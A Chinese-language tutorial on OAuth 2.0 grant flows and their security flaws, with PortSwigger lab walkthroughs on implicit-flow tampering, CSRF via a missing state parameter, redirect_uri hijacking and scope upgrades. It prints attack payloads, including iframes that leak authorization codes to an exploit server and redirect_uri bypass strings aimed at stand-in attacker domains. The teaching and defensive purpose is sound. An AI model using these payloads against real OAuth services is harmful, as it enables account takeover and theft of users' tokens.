文章目录
- 前言
- OAuth2.0
- 1.1 OAuth应用
- 1.2 OAuth基础
- 1.3 授权码模式
- 1.4 其它类模式
- 1.5 openid连接
- 安全风险
- 2.1 隐式授权劫持
- 2.2 CSRF攻击风险
- 2.3 Url重定向漏洞
- 2.4 scope校验缺陷
- 总结
前言
OAuth 全称为Open Authorization(开放授权),OAuth 协议为用户资源的授权提供了一个安全的、开放而又简易的标准。OAuth 2.0 允许用户授权第三方应用访问他们在另一个服务提供方上的数据,而无需分享他们的凭据(如用户名、密码)。
OAuth 2.0 被广泛运用于各类授权认证的场景,然而信息系统在采用 OAuth 2.0 协议进行授权认证的过程中,如果开发人员对协议的实现不当则容易造成信息安全风险,本文来学习记录下 OAuth 2.0 协议授权机制的原理和其面对的安全风险。
OAuth2.0
1.1 OAuth应用
此处参考《理解OAuth 2.0 - 阮一峰的网络日志》举的案例:
有一个"云冲印"的网站,可以将用户储存在 Google 的照片冲印出来。用户为了使用该服务,必须让"云冲印"读取自己储存在 Google 上的照片。问题是只有得到用户的授权,Google 才会同意"云冲印"读取这些照片。那么,"云冲印"怎样获得用户的授权呢?
传统方法是,用户将自己的 Google 用户名和密码,告诉"云冲印",后者就可以读取用户的照片了。这样的做法有以下几个严重的缺点:
- "云冲印"为了后续的服务,会保存用户的密码,这样很不安全。
- Google 不得不部署密码登录,而我们知道,单纯的密码登录并不安全。
- "云冲印"拥有了获取用户储存在 Google 所有资料的权力,用户没法限制"云冲印"获得授权的范围和有效期。
- 用户只有修改密码,才能收回赋予"云冲印"的权力。但是这样做,会使得其他所有获得用户授权的第三方应用程序全部失效。
- 只要有一个第三方应用程序被破解,就会导致用户密码泄漏,以及所有被密码保护的数据泄漏。
OAuth 就是为了解决上面这些问题而诞生的。
OAuth 协议为用户资源的授权提供了一个安全的、开放而又简易的标准。与以往的授权方式不同之处是 OAuth 的授权不会使第三方触及到用户的帐号信息(如用户名与密码),即第三方无需使用用户的用户名与密码就可以申请获得该用户资源的授权,因此 OAUTH 是安全的。——引用自百度百科。
举一个通俗易懂的生活中常见例子,美团 Web 端的登录 支持 QQ 和微博扫码登录:
用户通过手机微博 app 扫描确认授权即可完成登录:
此过程采用的便是 OAuth2.0 协议(具体 http 字段特征下文会解释):
1.2 OAuth基础
先看看 OAuth2.0 协议的一些基础概念:
概念 | 解释 |
---|---|
用户代理(User Agent) | 通常指浏览器 |
客户端(Client) | 请求访问资源的第三方应用,可以是 Web 站点、App、设备等 |
服务提供商(Service Provider) | 提供、存放资源的网络服务,如 Google、Github 等 |
资源所有者(Resource Owner) | 通常就是指用户,他们拥有服务提供商上的资源 |
授权服务器(Authorization Server) | 服务提供商用于处理和发放访问令牌的服务器。当用户请求访问资源时,需要先向授权服务器请求访问令牌 |
资源服务器(Resource Server) | 资源服务器是服务提供商用于存储和管理资源的服务器;当用户拥有访问令牌后,就可以向资源服务器请求访问资源 |
访问令牌(Access Token) | 访问令牌是授权服务器发放给客户端的一个凭证,表示客户端有权访问资源所有者的资源。访问令牌有一定的有效期,过期后需要使用刷新令牌来获取新的访问令牌 |
刷新令牌(Refresh Token) | 刷新令牌是授权服务器在发放访问令牌时一同发放的一个凭证,用于在访问令牌过期后获取新的访问令牌。刷新令牌通常有较长的有效期,甚至可以设置为永不过期 |
OAuth 协议的作用就是让 “客户端” 安全可控地获取 “用户” 的授权(Access Token),与 “服务商提供商” 进行互动。
OAuth 2.0 的运行流程如下图,摘自 RFC 6749。
- 用户打开客户端以后,客户端要求用户给予授权。
- 用户同意给予客户端授权。
- 客户端使用上一步获得的授权,向认证服务器申请令牌。
- 认证服务器对客户端进行认证以后,确认无误,同意发放令牌。
- 客户端使用令牌,向资源服务器申请获取资源。
- 资源服务器确认令牌无误,同意向客户端开放资源。
同时 OAuth 2.0 支持 4 种获得令牌(Access Token)的流程:
- 授权码模式(authorization-code)
- 隐式授权模式(implicit)
- 密码模式(password)
- 客户端凭证模式(client credentials)
其中最常见、最安全得便是本文要重点介绍的授权码模式。
【More】SSO 单点登录和 OAuth2.0在 协议应用场景上的区别在于,SSO 是为了解决一个用户在鉴权服务器登陆过一次以后,可以在任何应用(通常是一个厂家的各个系统)中畅通无阻。OAuth2.0 解决的是通过令牌(token)而不是密码获取某个系统的操作权限(不同厂家之间的账号共享)。详情参考:《一文彻底搞懂SSO 和 OAuth2.0 关系》。
1.3 授权码模式
授权码模式(authorization code)是功能最完整、流程最严密的授权模式。它的特点就是通过客户端的后台服务器,与"服务提供商"的认证服务器进行互动。其完整的授权流程如下图所示:
授权流程场景可以描述为如下几个步骤(拿微信授权来讲):
- 用户在第三方应用程序中,应用程序尝试获取用户保存在微信资源服务器上的信息,比如用户的身份信息和头像,应用程序首先让重定向用户到授权服务器,告知申请资源的读权限,并提供自己的 client id;
- 到授权服务器,用户输入用户名和密码(已登录的情况下一键授权即可),服务器对其认证成功后,提示用户即将要颁发一个读权限给应用程序,在用户确认后,授权服务器颁发一个授权码(authorization code)并重定向用户回到应用程序;
- 应用程序获取到授权码之后,使用这个授权码和自己的
Client id/Secret
向认证服务器 申请访问令牌/刷新令牌(access token/refresh token
)。授权服务器对这些信息进行校验,如果一切 OK,则颁发给应用程序。 - 应用程序在拿到访问令牌之后,向资源服务器申请用户的资源信息;
- 资源服务器在获取到访问令牌后,对令牌进行解析(如果令牌已加密,则需要进行使用相应算法进行解密)并校验,并向授权服务器校验其合法性,如果一起 OK,则返回应用程序所需要的资源信息。
这个授权流程在 OAuth 2.0 中被称为授权码模式(authorization code grant),其命名的原因是,应用程序使用授权码来向授权服务器申请访问令牌/刷新令牌。在整个过程中应用程序没有接触到用户的密码。
【授权流程核心参数】
1、 客户端申请授权码(authorization code)的 HTTP Request,包含以下参数:
-
response_type:表示授权类型,必选项,此处的值固定为"code"
-
client_id:表示客户端的 ID,必选项
-
redirect_uri:表示重定向 URI,可选项
-
scope:表示申请的权限范围,可选项
-
state:表示客户端的当前状态,可以指定任意值,认证服务器会原封不动地返回这个值。
GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb HTTP/1.1
Host: server.example.com
2、服务器回应客户端的授权码申请的 HTTP Response,包含以下参数:
-
code:表示授权码,必选项。该码的有效期应该很短,通常设为 10 分钟,客户端只能使用该码一次,否则会被授权服务器拒绝。该码与客户端 ID 和重定向URI,是一一对应关系。
-
state:如果客户端的请求中包含这个参数,认证服务器的回应也必须一模一样包含这个参数。
HTTP/1.1 302 Found
Location: https://client.example.com/cb?code=SplxlOBeZQQYbYS6WxSbIA&state=xyz
3、客户端拿着授权码向认证服务器申请令牌的 HTTP Request ,包含以下参数:
-
grant_type:表示使用的授权模式,必选项,此处的值固定为 “authorization_code”。
-
code:表示上一步获得的授权码,必选项。
-
redirect_uri:表示重定向 URI,必选项,且必须与前面申请授权码的步骤中的该参数值保持一致。
-
client_id:表示客户端 ID,必选项。
-
client_secret:client_id 参数和 client_secret 参数用来让授权服务器确认客户端的身份(client_secret 参数是保密的,因此只能在后端发请求);
POST /oauth/token HTTP/1.1
Host: server.example.com
Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
Content-Type: application/x-www-form-urlencoded
client_id=s6BhdRkqt3&client_secret=xxxxxx&grant_type=authorization_code&code=SplxlOBeZQQYbYS6WxSbIA
&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb
4、认证服务器最终返回给客户端的 HTTP Response 包含以下参数:
- access_token:表示访问令牌,必选项。
- token_type:表示令牌类型,该值大小写不敏感,必选项,可以是bearer类型或mac类型。
- expires_in:表示过期时间,单位为秒。如果省略该参数,必须其他方式设置过期时间。
- refresh_token:表示更新令牌,用来获取下一次的访问令牌,可选项。
- scope:表示权限范围,如果与客户端申请的范围一致,此项可省略。
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store
Pragma: no-cache
{
"access_token":"2YotnFZFEjr1zCsicMWpAA",
"token_type":"example",
"expires_in":3600,
"refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA",
"example_parameter":"example_value"
}
【思考】授权码模式中,为何要具备 client_secret?
第三方应用申请令牌之前,都必须先到系统备案(比如各大厂商对外提供的开发者平台),说明自己的身份,然后拿到两个身份识别码:客户端 ID(client ID)和客户端密钥(client secret)。这是为了防止令牌被滥用,没有备案过的第三方应用,是无法申请令牌的。显然,client_id 参数和 client_secret 参数用来让授权服务器确认客户端的身份。
上面这个授权码模式的流程图比前面另一张流程图更为详细和准确。授权码模式的工作流程中,Authentication Code 可以返回前端并存在于浏览器里面,这个 code 被看到无所谓,因为如果偷走了这个 code,也无法像 Authorization Server 请求 access token,因为小偷没有 client_secert,所以即使被偷走了 authentication code,也无法换取拿走 access token。但是我们需要将 client_secert 存放在后端服务器(比如美团支持微博扫码登录的场景,需要放在美团服务器上)与授权服务器进行安全通信,避免 client_secert 泄露的风险。So 请记住:client_secret 参数是需要严格保密的,因此安全起见,我们需要在后端服务器存储 client_secret 参数并由后端发起 AccessToken 申请的请求。
1.4 其它类模式
OAuth2.0 提供的其它三种授权模式并不常用,此处仅做简单介绍,不过度展开。
0x01 隐式授权(Implicit Grant)
有些 Web 应用是纯前端应用,没有后端。这时就不能用上面的授权码模式了,必须将令牌储存在前端。RFC 6749 就规定了第二种方式,允许直接向前端颁发令牌。这种方式没有授权码这个中间步骤,所以称为(授权码)“隐藏式”(implicit)。隐式授权又称简化授权模式,它和授权码模式类似,只不过少了获取授权码的步骤,是直接获取令牌 token 的,且没有 Refresh Token,适用于公开的浏览器单页应用。
第一步,A 网站提供一个链接,要求用户跳转到 B 网站,授权用户数据给 A 网站使用。
https://b.com/oauth/authorize?
response_type=token&
client_id=CLIENT_ID&
redirect_uri=CALLBACK_URL&
scope=read
上面 URL 中,response_type 参数为 token,表示要求直接返回令牌。
第二步,用户跳转到 B 网站,登录后同意给予 A 网站授权。这时,B 网站就会跳回 redirect_uri 参数指定的跳转网址,并且把令牌作为 URL 参数,传给 A 网站。
https://a.com/callback#token=ACCESS_TOKEN
上面 URL 中,token参数就是令牌,A 网站因此直接在前端拿到令牌。
0x02 密码模式(password)
如果你高度信任某个应用,RFC 6749 也允许用户把用户名和密码,直接告诉该应用。该应用就使用你的密码,申请令牌,这种方式称为"密码式"(password)。
第一步,A 网站要求用户提供 B 网站的用户名和密码。拿到以后,A 就直接向 B 请求令牌。
https://oauth.b.com/token?
grant_type=password&
username=USERNAME&
password=PASSWORD&
client_id=CLIENT_ID
上面 URL 中,grant_type 参数是授权方式,这里的 password 表示"密码式",username 和 password 是 B 的用户名和密码。
第二步,B 网站验证身份通过后,直接给出令牌。注意,这时不需要跳转,而是把令牌放在 JSON 数据里面,作为 HTTP 回应,A 因此拿到令牌。
这种方式需要用户给出自己的用户名/密码,显然风险很大,因此只适用于其他授权方式都无法采用的情况,而且必须是用户高度信任的应用。
0x03 客户端凭证模式(client credentials)
最后一种方式是凭证式(client credentials),适用于没有前端的命令行应用,即在命令行下请求令牌。
第一步,A 应用在命令行向 B 发出请求。
https://oauth.b.com/token?
grant_type=client_credentials&
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET
上面 URL 中,grant_type 参数等于 client_credentials 表示采用凭证式,client_id 和 client_secret 用来让 B 确认 A 的身份。
第二步,B 网站验证通过以后,直接返回令牌。
这种方式给出的令牌,是针对第三方应用的,而不是针对用户的,即有可能多个用户共享同一个令牌。
1.5 openid连接
本章节主要参考《OAuth 2.0 和 OpenID Connect 的基本原理和区别(干货)》,原文循序渐进讲得很好。
2009 年左右,第一个第三方 facebook 登录第一次出现,这意味着:
- OAuth 可以用来做简单身份 验证;
- OAuth 也可以做跨站点 SSO 验证;
- 手机端的应用程序也可以用来 OAuth 来登录验证;
但是 OAuth 最关键的还是用户委派授权,比如上面用微博来委派授权美团能够获得部分的用户资料授权。OAuth主要设计是用来进行授权的,而不是 User 身份验证。这是为什么呢?
主要因为 OAuth 用的是 client ID 而不是 User ID 来进行请求。其次,如果用 OAuth 来进行身份验证的话,不是个完美的选择,因为 OAuth 没有一个标准的方法来搜集 user 用户本身的资料,比如说,你想登录美团,作为应用美团的商业角度来说,最好的情况是美团直接从 user 那里或者邮箱地址、姓名、年纪等信息,但是 OAuth 的协议流程里面并没有针对 user 信息本身,而是针对于 scope 给出 client 指定范围的信息授权,OAuth 其实并不在意 Cilent 发起授权请求的是是哪个 user,也就是并不太在乎你是谁。
综上可以看到,尽管 OAuth 2.0 在资源授权上非常管用,但是如果把 OAuth 专门用来做身份验证,就会出现很多问题,比如没有一个标准的方式来获得用户信息,而且每个应用实现 OAuth 协议的细节也不一样,同时每个应用允许的 scope 都不一样。为了解决这个问题,便引入了 OpenID Connect。
OAuth 主要用在授权,缺失了身份验证的功能,所以OpenID Connect 就是用来弥补 OAuth 这个身份验证空白的。其实 OpenID Connect 不太能够视为一个单独的验证协议,因为 OpenID Connect 需要和 OAuth 一起使用,底层授权用 OAuth,上一层的身份验证用 OpenID Connect,相当于 OAuth 的扩展。
OpenID Connect 和 OAuth 从技术上来讲,哪里有什么不一样呢?
就在第一步向授权服务器进行请求时,会请求 OpenID profile 的 scope。Access token 和 ID token 一起获得,access token 可以向 resource server 要profile,ID token 可以证明是哪个用户进行了登录,但是这个 ID token 关于 user 的信息有限,如果 client 还想要更多关于 user 的信息,可以调用/userinfo
API。
安全风险
结合 portswigger 靶场来进行实践学习 OAuth2.0 授权协议面对的安全风险,此靶场深入浅出值得推荐。
2.1 隐式授权劫持
隐式授权模式的介绍参见 “1.4 其它类模式” 章节。隐式授权模式缺乏 client_secret 校验客户端身份的环节,直接通过 client_id 即可直接发起获取 AccessToken 的请求,在这种情况下,攻击者可以简单地更改发送到服务器的参数来模拟任何用户。
https://b.com/oauth/authorize?
response_type=token&
client_id=CLIENT_ID&
redirect_uri=CALLBACK_URL&
scope=read
直接上靶场:lab-oauth-authentication-bypass-via-oauth-implicit-flow。
1、 访问靶场,发现是个博客站点,点击登录(先使用提供的账户密码wiener:peter
正常登录):
2、自动跳转到 OAuth2.0 授权登录界面,点击确认授权:
3、观察上述 http 报文,发现 OAuth 授权请求过程如下:
可以看到 /authenticate 请求携带 OAuth 颁发的 Token + 客户端指定的用户账户 email、username 发起了对应读取邮箱账户属性的资源请求,此处用户的的身份参数是客户端可控的,题目要求录到 carlos 的帐户(carlos@carlos-montoya.net
),故重新发起授权流程,拦截 /authenticate 请求修改 email 即可。
成功通关:
【实验小结】OAuth 2.0 中的隐式授权方式存在较大安全风险,容易发生越权漏洞,实际应用中还是应当使用授权码模式来规避此类风险,授权码模式比隐式模式多了一步校验客户端身份的 client_id/client_secret
字段,在 client_secret 字段未发生泄露的情况下,可以有效避免上面越权获取资源的风险。
2.2 CSRF攻击风险
授权码模式也并非固若金汤,仔细观察授权码模式申请 OAuth Code 的请求中需要携带 state 参数,此参数是用于防止 CSRF 攻击的,但是 OAuth2.0 协议并非强制要求携带此参数,如果开发人员在使用 OAuth2.0 协议时舍弃了该参数,将导致系统可能面临 CSRF 攻击场景。
《移花接木:针对OAuth2的CSRF攻击》仔细讲了此类 CSRF 攻击的场景,描述有点过于繁杂,但里面的流程图很清晰概括了作者要表达的事情,看图即可:
简单来说,就是攻击者拿着自己的 auth_code 构造 CSRF 链接给到受害者,受害者点击 CSRF 链接后将携带自己的 client_id、client_secret 等身份标识向授权服务器发起申请 Access_token 的请求,如果授权服务器未校验 auth_code 和 client_id 的映射关系(很关键的攻击前提条件),将导致受害者的的账户跟攻击者账户进行了错误绑定。
要防止此类攻击其实很容易,作为第三方应用的开发者,只需在 OAuth 认证过程中加入 state 参数,并验证它的参数值即可。具体细节如下:
- 在将用户重定向到 OAuth2 的 Authorization Endpoint 去的时候,为用户生成一个随机的字符串,并作为 state 参数加入到 URL 中;
- 客户端在收到 OAuth2 服务提供者返回的 Authorization Code 请求的时候,验证接收到的 state 参数值,如果是正确合法的请求,那么此时接受到的参数值应该和上一步提到的为该用户生成的 state 参数值完全一致,否则就是异常请求;
同时 state 参数值需要具备下面几个特性:
- 不可预测性:足够的随机,使得攻击者难以猜到正确的参数值;
- 关联性:state参数值和当前用户会话(user session)是相互关联的;
- 唯一性:每个用户,甚至每次请求生成的 state 参数值都是唯一的;
- 时效性:state 参数一旦被使用则立即失效;
同样来通过靶场实践一下此类漏洞:https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking。
要求我们通过 CSRF 漏洞获得博客站点管理员账户的访问权限并删除 carlos 账户,靶场给每一个实验都提供了标准的通关步骤指导,对着一步步操作即可。
1、题目是个 Blog 站点,点击 MyAccount 进行账户登录,先正常选择博客网站账户(wiener:peter)进行登录:
2、登陆以后,选择将您的社交媒体个人资料附加到您现有的帐户。点击“附加社交档案”,您将被重定向到社交媒体网站,您应该使用您的社交媒体凭据登录以完成 OAuth 流程。之后,您将被重定向回博客网站。
3、完成上述博客账户与社交账户的绑定后,退出登录,然后点击“My Account”返回登录页面。这一次,选择“使用社交媒体登录”选项,注意此次您将通过社交媒体帐户实现快速登录。
观察通过社交账户快速登录的过程中存在两个核心报文如下:
可以看到申请 oauth_code 的过程并未携带 state 参数,故此处可以通过构造 CSRF 恶意链接,让博客网站的管理员访问/oauth-login?code=攻击者的 auth_code
,即可实现将博客网站的管理员的账户跟攻击者的社交账户进行绑定,然后攻击者通过自己的社交帐户登录博客站点,便能获得博客站点的管理权限。
4、打开代理拦截并再次选择“附加社交配置文件”选项,拦截到 GET /oauth-linking?code=[...]
的请求。右键单击此请求并选择“复制URL”,接着 drop 放弃该请求(这对于确保授权代码不被使用并保持有效非常重要)。
5、点击访问漏洞利用服务器,构造 CSRF 恶意链接并发送给博客站点管理员,向受害者(博客站点管理员)发送 exp,当他们的浏览器加载 iframe 时,它将使用您的社交媒体配置文件完成 OAuth 流程,将其附加到博客网站管理员的帐户:
<iframe src="https://XXXX.web-security-academy.net/oauth-linking?code=B2ZvLTHcsrOeyUIEig8LKYHJznCoZzyHoUD2LSodlTo"></iframe>
6、返回到博客网站,退出登录后重新登录,再次选择“使用社交媒体登录”,可以发现成功以管理员用户身份登录,转到管理面板并删除 carlos 账户以解决实验。
【实验小结】state 参数在 OAuth 2.0 认证过程中不是必选参数,因此第三方应用开发者在集成 OAuth 2.0 认证的时候很容易会忽略它的存在,导致应用易受CSRF 攻击,导致可以悄无声息的攻陷受害者的账号。作为第三方应用的开发者,需要在 OAuth2.0 认证流程中明确提供 state 参数并有效验证其参数值。
2.3 Url重定向漏洞
在授权码模式中,OAuth 服务端收到 redirect_uri 后如果未对其进行安全校验,那么存在的攻击场景:
- 攻击者可将 redirect_uri 改为自己的站点后构造 CSRF 攻击链接并发送给受害者访问,导致返回的 auth_code 发送到了攻击者的站点,使其获取到了受害者 auth_code;
- 这个时候 如果 OAuth 服务器没有校验 client_id 和 auth_code 的绑定关系(很关键的攻击前提条件,下面的实验便是基于此),那么攻击者可以拿着受害者的 auth_code 向 OAuth 服务器申请到与受害者账户对应的 access_token;
- 或者受害者的 client_id、client_secret 同时发生了泄露,那么攻击者可以拿着受害者泄露的 auth_code 发起申请 access_token 的请求来获得受害者账户对应的 access_token;
- 上述窃取到 access_token 的过程如果用于登录授权场景,此时攻击者可以成功实现将受害者的账户(比如美团账户)与自己的账户(比如微博社交账户)进行关联绑定,实现接管受害者的账户(即攻击者可以用自己微博账户登录受害者的美团账户,下面的实验就是这种场景);
靶场环境:https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri。
根据官方提供的标准通过步骤走即可,同样是个 Blog 站点,但仅提供社交帐号关联登录:
通过社交账户成功完成 OAuth 授权登录后,选择退出登录,然后再次登录。注意,由于您仍然与 OAuth 服务有一个活动会话,因此您不需要再次输入凭据来进行身份验证,可实现快速登录。
以上过程的 http 报文跟上一个实验一样存在两个核心请求:
将 /auth?client_id=XXX&redirect_uri=https://XXX&response_type=code&scope=openid%20profile%20email
请求修改 redirect_uri 参数后进行重放,可以发现其服务端正常返回对应的 auth_code 值:
3、更改 redirect_uri 令其指向漏洞利用服务器,然后发送请求并 Follow Redirect,接着查看漏洞利用服务器的访问日志,并观察到有一个包含授权代码的日志条目,这确认您可以将授权码泄漏到外部域。
返回到 exploit 服务器并在 /exploit 创建以下 iframe :
<iframe src="https://oauth-0a3f00e1034e9d41833841db023f0073.oauth-server.net/auth?client_id=jr2th3gemopgjyu25io6u&redirect_uri=https://exploit-0abe001103809d19832f4261018a003a.exploit-server.net/&response_type=code&scope=openid%20profile%20email"></iframe>
存储漏洞发送 exp 到受害者:
访问 exp 服务器 log 日志可以看到受害者(博客站点管理员)泄露的 auth_code:
最后,退出博客网站,然后使用窃取到的 auth_code 访问如下登录请求:
https://YOUR-LAB-ID.web-security-academy.net/oauth-callback?code=6m006M_uYUwmM5GK92-Hm99TT3siFmSH8zQYTnR_D2M
OAuth 流程的其余部分将自动完成,您将以管理员用户身份登录。打开管理面板并删除 carlos 以解决实验。
【实验小结】以上实验成功的前提条件,除了服务端没有校验 redirect_uri 的合法性之外,还包括 OAuth 授权服务器没有校验 client_id 与颁发过的 auth_code 的映射关系,这才导致攻击者可以拿着受害者的 auth_code 和自己的 client_id/client_secret 直接发起并完成登录请求。
【有缺陷的 redirect_uri 验证】
根据前面实验中看到的攻击类型,客户端应用程序在注册 OAuth 服务时提供其真正回调 URI 的白名单是最佳的选择。这样,当 OAuth 服务收到新请求时,它可以根据此白名单验证 redirect_uri 参数。在这种情况下,提供外部 URI 可能会导致错误。
然而 redirect_uri 白名单验证仍然可能有方法绕过,以下几种方法较为常见:
- 一些白名单检查方案采用的是检查字符串是否以正确的字符序列开头(即 startWith(“xxxx”)、contain(“xxxx”) 这类),可以尝试注册符合条件的域名或构造对应 URL 来满足检查条件;
- 如果可以将额外值追加到默认 redirect_uri 参数,则可以利用 OAuth 服务的不同组件分析 URI 之间的差异。例如,您可以尝试以下技术:
https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/
(可参考 SSRF 防御手段); - 还可以通过提交重复的 redirect_uri 参数检测是否存在 HTTP 参数污染漏洞;
- 一些服务器还对 localhost URI 进行特殊处理,因为它们在开发过程中经常使用,在某些情况下,任何以 开头 localhost 的重定向 URI 都可能在生产环境中意外被允许,这允许攻击者通过注册域名(如 localhost.evil-user.net )来绕过验证。
【通过代理页面窃取授权码和访问令牌】
对于更强大的目标,可能会发现无论尝试什么,都无法成功将外部域作为 redirect_uri,然而这并不意味着是时候放弃了。现在的关键是尝试确定是否可以更改参数 redirect_uri 以指向列入白名单的域上的任何其他页面。
尝试找到可以成功访问不同子域或路径的方法。例如,默认 URI 通常位于特定于 OAuth 的路径上,例如 /oauth/callback ,该路径不太可能有任何有趣的子目录。但是可以使用目录遍历技巧来提供域上的任何任意路径,例如:
https://client-app.com/oauth/callback/../../example/path
在后端将被解析为:
https://client-app.com/example/path
确定可以设置为重定向 URI 的其他页面后,应审核它们是否存在可能用于泄露 auth_code 或 access_token 的其他漏洞。为此常见的手段有:
-
开放重定向:这其实也属于校验不完整的而绕过的一种情况,因为 OAuth 提供方只对回调 URL 的根域等进行了校验,当回调的 URL 根域确实是原正常回调 URL 的根域,但实际是该域下的一个存在 URL 跳转漏洞的URL,就可以构造跳转到钓鱼页面,就可以绕过回调 URL 的校验了,比如:
https://xxx.com/callback?redirectUrl=https://evil.com
; -
结合跨站图片或 XSS 漏洞:通过在客户端或者客户端子域的公共评论区等模块,插入构造好请求的 img 标签,将 redirect_uri 参数修改为加构造好 img 标签的 URL,利用本身的域名去绕过白名单限制。
2.4 scope校验缺陷
使用授权码模式进行授权时,用户的数据通过安全的服务器到服务器通信被请求和发送,第三方攻击者通常无法直接操纵。但是,通过向 OAuth 服务注册他们自己的客户端应用程序,仍然可以实现相同的结果。
例如,假设攻击者的恶意客户端应用程序最初使用 openid、email 作用域请求访问用户的电子邮件地址。在用户批准此请求后,恶意客户端应用程序将收到一个授权代码。当攻击者控制他们的客户端应用程序时,他们可以向 code/token 交换请求中添加另一个包含额外范围 profile 的 scope 参数:
POST /token
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8&scope=openid%20email%20profile
如果服务器没有根据初始授权请求中的作用域进行验证,它有时会使用新的作用域生成一个访问令牌,并将其发送给攻击者的客户端应用程序:
{
"access_token": "z0y9x8w7v6u5",
"token_type": "Bearer",
"expires_in": 3600,
"scope": "openid email profile",
…
}
然后,攻击者可以使用其应用程序进行必要的API调用,以访问用户的配置文件数据。
总结
OAuth 2.0 用于资源授权和登录认证的过程中,授权码模式相对于隐式授权模式、密码模式等具备更高的安全性,但是第三方开发者在实现 OAuth2.0 授权逻辑的时候,一定要考虑一些必要的安全逻辑,防止存在授权或认证缺陷。
常见的需要考虑的安全点如下:
-
尽量采用安全性更高的授权码模式;
-
在申请 auth_code 的过程中,携带具备随机性的 state 参数,防御 CSRF 攻击;
-
授权服务器需要严格校验 client_id 和 auth_code 的绑定关系,防止颁发给 A 用户的 auth_code 被 B 窃取后申请到属于 A 的 access_token;
-
授权服务器应当校验 redirect_uri 回调参数的合法性,可以通过配置白名单的方式,防止 auth_code 或 access_token 返回到攻击者服务器上;
-
使用 auth_code 交换 access_token 的过程需要在后台服务器之间进行,不能将 client_secret 硬编码在客户端或者 http 传递到客户端,确保 client_secret 不被泄露。
本文参考文章与资源:
- 讲得挺好的视频:彻底理解 OAuth2 协议_哔哩哔哩_bilibili;
- 基础流程的理解:理解OAuth 2.0、OAuth 2.0 的四种方式 - 阮一峰;
- 防御 CSRF 攻击:移花接木:针对OAuth2的CSRF攻击;
- 常见攻击面概述:OAuth实现机制中的常见安全问题、挖洞小技巧系列之OAuth 2.0;
- OpenID Connect:OAuth 2.0 和 OpenID Connect 的基本原理和区别(干货);
- 很不错的流程图:一文彻底搞懂SSO和OAuth2.0关系、OAuth2.0入门:基本概念详解和四种授权类型。